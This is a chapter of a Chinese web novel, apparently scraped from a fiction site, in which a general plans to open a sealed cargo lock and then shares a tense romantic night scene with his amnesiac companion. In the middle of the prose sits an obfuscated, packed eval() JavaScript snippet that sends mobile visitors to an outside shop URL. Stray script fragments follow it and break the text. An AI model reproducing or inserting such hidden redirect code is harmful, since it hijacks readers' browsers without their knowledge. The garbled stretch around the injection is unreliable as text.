文趣网 > 其他小说 > 将军别杀我 > 28. 第 28 章
    “这锁扣和火漆印一旦破损,很难复原。商会和货主,大概是凭此印鉴查验货物中途是否被人动过。”

    “若是过关时被抽检到,要求开箱呢?”沉玉蹲到他身旁问道。

    沈郁瞥了她一眼,“你忘了那些行商所言?有中阶译员随行,又是正规商队,货物清晰,本就不会查的太严。只需把这几箱货物压在船仓最底部,跟其他货箱混在一起,放在难以搬运的位置。利用查验流程的时间差,很容易蒙混过去。”

    “怪不得只与中阶以上的译员合作,这样确实万无一失。”凌季说道。

    “哎呀,那我们若想开箱查验,岂不是一动就露馅?”沉玉苦恼道,她可不会开这样的锁。

    “遥岑,你去城中寻一家铁匠铺,打这几样小工具,再寻一盒红漆来。”

    沈郁取过炭笔,在纸上勾出几个带有钩子的图形,并且标注了尺寸。

    “这是……?”沉玉看不懂这些东西的用处。

    “开这锁扣用的探钩和别子。”沈郁吩咐遥岑,“告诉铁匠师傅,要修箱柜机括用的材料,头子要做的光滑。工钱加倍,但要快,嘴严。”

    遥岑领命,收好图样离去。

    “没看出来,夫君竟还会这溜门撬锁的手艺?”沉玉促狭道。

    沈郁顺手用炭笔末端轻敲她额头,“行军在外,什么不得会些?难道每回缴获机关密匣,都劈了不成?”

    沉玉笑着躲开,又想起一事,从袖中取出一物,“对了,那商会伙计说过了青岭关后,在水鬼碑往东约莫五里处,有一小镇停留,会有镖局接引。凭此单交货,但必须货,单,木牌三者核对无误,才算完成。”

    她将单子递给沈郁,“夫君看看这单子……可眼熟?”

    沈郁接过那张油布货单,只扫了一眼,眸色便是一沉。

    “这货单的制式,与先前从胡商身上搜到的,系出同源。”

    沉玉接过单子收好,“没错,但我验过了,它没有阴阳标注。所以我们现在只能等功遥岑把工具打回来,再开箱查验?”

    “嗯。”沈郁重新蹲下,接着烛火,细细研究那枚火漆的纹路,“火漆覆盖了部分机括,强开必损。只能从侧面入手,将破损控制在最小,再临摹一枚掩盖上去。”

    --

    夜深人静,房内只余一盏昏黄夜灯。

    沈郁和衣躺在榻上,闭目凝神。

    屏风另一端,传来窸窸窣窣的声响,显然是沉玉翻来覆去,睡不着。

    果然,不消片刻,

    屏风边缘探出半个脑袋,“沈郁……你睡了吗?”

    “……尚未。”沈郁无奈,知道夜谈怕是免不了了。

    “我睡不着。总想着白天的事。”

    沉玉索性从床上爬起来,手臂交叠搁在屏风上沿,下巴抵着手背,跟榻上的人影聊天。

    “说来奇怪,白天我画出那只狐狸的时候,秦管事的反应有些反常。像是见到什么不该出现的东西?”

    沈郁睁开眼,看她歪着头趴在屏风上,那姿势看着就难受。

    他无声叹了口气,对着她招了招手。

    沉玉眼睛一亮,立刻拎着裙摆,绕过屏风来到榻边。

    沈郁见她过来,欲起身将榻让给她,自己另寻地方坐着。

    “别走。”沉玉拽着他不让他起身,“这儿也能说话。”

    她说着,身子一歪,半个身子都压在沈郁身上,

    榻本就不宽,躺着一个沈郁已不宽裕,她还往里挤了挤,一条腿跟着缠上来,冰凉的脚丫蹭到沈郁小腿。

    冰凉的触感让他眉头一皱,低声斥道,“怎么不穿鞋就跑过来?”

    沉玉浑不在意,冷冰冰的脚丫贴上他小腿取暖,理不直气也壮,

    “着急过来找你嘛,你好暖和,正好帮我暖暖。”

    沈郁身体瞬间僵硬如铁,心脏在胸腔里重重撞了一下。

    少女柔软的身躯隔着单薄的寝衣相贴,她身上的冷梅香无孔不入侵袭着他的感官。

    无需点灯,都能感受到她身上的每一处曲线,热意透过衣料传递,烧的他喉咙发干。

    “别胡闹。”

    他声音发紧,伸手推她肩膀,试图将这具柔软的身躯从自己身上剥离。

    沉玉却双臂一环,往内蹭了蹭,直把他挤到榻上,不敢动弹。

    “你推我做什么?我又不重。你还没回答我的问题。你说,我是不是原本就是渊雅楼的译员?所以才会对那里觉得熟悉,那个标记会不会是我以前用的?”

    沈郁被她抱着,推拒的手悬在半空,落下不是,不落也不是。

    喉结疯狂滚动,强迫自己忽略身上柔软的压力,死死盯着头顶的房梁,声音沙哑,

    “不无……可能。”

    沉玉稍稍翻了个身,整个人几乎压在他身上,下巴抵着他心口,这个姿势能看到他不停滚动的喉结和紧抿的唇。

    “那你当初为什么说我是郡守送来的婢女?我若真是渊雅楼的译员,怎么会流落到燕回关,还被你捡到?”

    沈郁将头撇向一侧,避开她的气息,“你当时……昏迷不醒,”

    他艰难地组织着语言,半真半假的遮掩,“为了掩人耳目,这才……”

    “所以我真的是受伤失忆了?”沉玉自动补全了情节,

    “莫非是我跟着商队出行,不幸遇上遇袭,受了伤?又恰好被你救下?”

    “……”沈郁沉默不语。

    “我当时身上没有渊雅楼的木牌吗?或者别的能证明身份的信物?”沉玉追问。

    “没有。我见到你时,你身上除了蔽体的衣物,没有任何能证明身份的东西。”

    这话是真的,他们的初遇便是刑场,她除了一身狼狈,所有随身物品早被搜刮一空。

    “哦……”

    沉玉有些失望地趴回去,“难道遇上劫匪,把我值钱的东西和身份证明全部抢走了?”

    沈郁又是一阵难言的沉默。

    胸口的温度和重量,鼻尖全是她的气息,她毫无防备的亲近。

    每一分每一秒都是对他自制力的极限考验。

    “沉玉……”他身体愈加紧绷,连声音都带上了恳求,“你先起来。这样……没法好好说话。”

    沉玉微微支起身体,对上他燃烧着暗火的眸子。

    眼中闪过一丝恶作剧,故意往下压了压,两人几乎鼻尖相抵。

    “你在紧张?”

    她捻起一缕垂落的发丝,发尾撩过沈郁紧绷的下颌,再到耳廓,“紧张什么?”

    “你的心跳的好快啊……”

    她将耳朵贴回他心口,一声比一声急,一下比一下重。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746728|204758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    沈郁只觉得自己的理智在濒临崩断的边缘,她还在用天真又残忍的语气问他紧张什么?

    她向一条诱人沉沦的美女蛇,嘶嘶吐着蛇信,问他,“夫君想要……”

    沈郁猛地伸手,捂住了她即将口出狂言的嘴。

    掌心下柔软的唇瓣和呼吸,像火苗舔舐,她也确实调皮地舔了一下他的掌心……

    成功击碎沈郁本就摇摇欲坠的理智。

    沉玉感到一阵天旋地转,人已被沈郁覆在身下。

    他双臂撑在她耳侧,高大挺拔的身影笼罩下来,挡住昏暗的烛光,投出一片充满侵略性的阴影。

    沈郁额角青筋隐现,呼吸灼热,像锁定猎物的猛兽,死死盯着她,“沉玉!!不要惹火!”

    掌下的肌肉蓄势待发,紧绷到极致。

    充满危险却又无比诱人的气息将沉玉包裹,让她的呼吸也不由自主地加快,心跳如鹿撞。

    眼前克制到狰狞的俊脸,陡然让她升起一股挑衅的快意。

    沉玉搂住他的脖颈,将他拉向自己,直到彼此鼻尖相抵,呼吸交融。

    “惹得你发火了吗?”

    她的声音轻的像羽毛,又像带着钩子的蜜糖,“你发火……是什么样?”

    她微微扬起脸,唇瓣轻轻印上他唇角,一触即分,“这样?”

    不等他反应,她又凑上去,吻上他拧紧的眉心,“还是这样?”

    轻飘飘的吻,却带着燎原之势,烧的沈郁理智湮灭。

    沈郁的目光不受控制地掠过那抹红唇。

    想要她。疯狂想要。

    这个念头如同野火,烧得他手背血管贲张。

    可当目光回到她那双明媚的眼眸,眼底那一丝懵懂,却像一盆冰水,猝然浇在他心头。

    她这般大胆的亲昵,是出于什么?

    是真的对他有了男女之情,还是仅仅因为……失忆。

    无处可去,无依无靠,将他当成唯一的浮木,产生了雏鸟般的依赖?

    或许她自己都分不清这份亲热究竟是什么。

    若他此刻遵循内心的渴望,与她肌肤相亲。因着一时冲动,在她心意未明的时候,亵渎她的清白。

    何其无耻!

    沈郁眼底翻腾的火焰也将沉玉点燃,身体骤然一轻,

    整个人被打横抱起,沉玉低呼一声,下意识搂住眼前人的脖颈。

    她以为接下来的一切水到渠成的时候,却被人毫不温柔的塞进被窝。

    那人还拉过被子,将她从头到脚裹了个严实。

    “安分睡觉。”

    他丢下这句话,便逃也似的离开房间,好似她是什么洪水猛兽,变态女魔头。

    ????

    走了?

    就……这么走了?

    沈玉足足愣了好几个呼吸,才消化了这个事实。

    她不说沉鱼落雁,也算的上花容月貌,身形也算纤秾合度,该有的都有吧?

    刚才那样的情况,她都感受他身体明显的变化了。

    竟然……就这么走了?

    “沈、郁!!”

    沉玉抓着被子气闷的滚了两圈,拽过旁边的枕头狠狠锤了几下。

    好好好!!!

    坐怀不乱,当柳下惠是吧?

    可恶!!走着瞧!!!!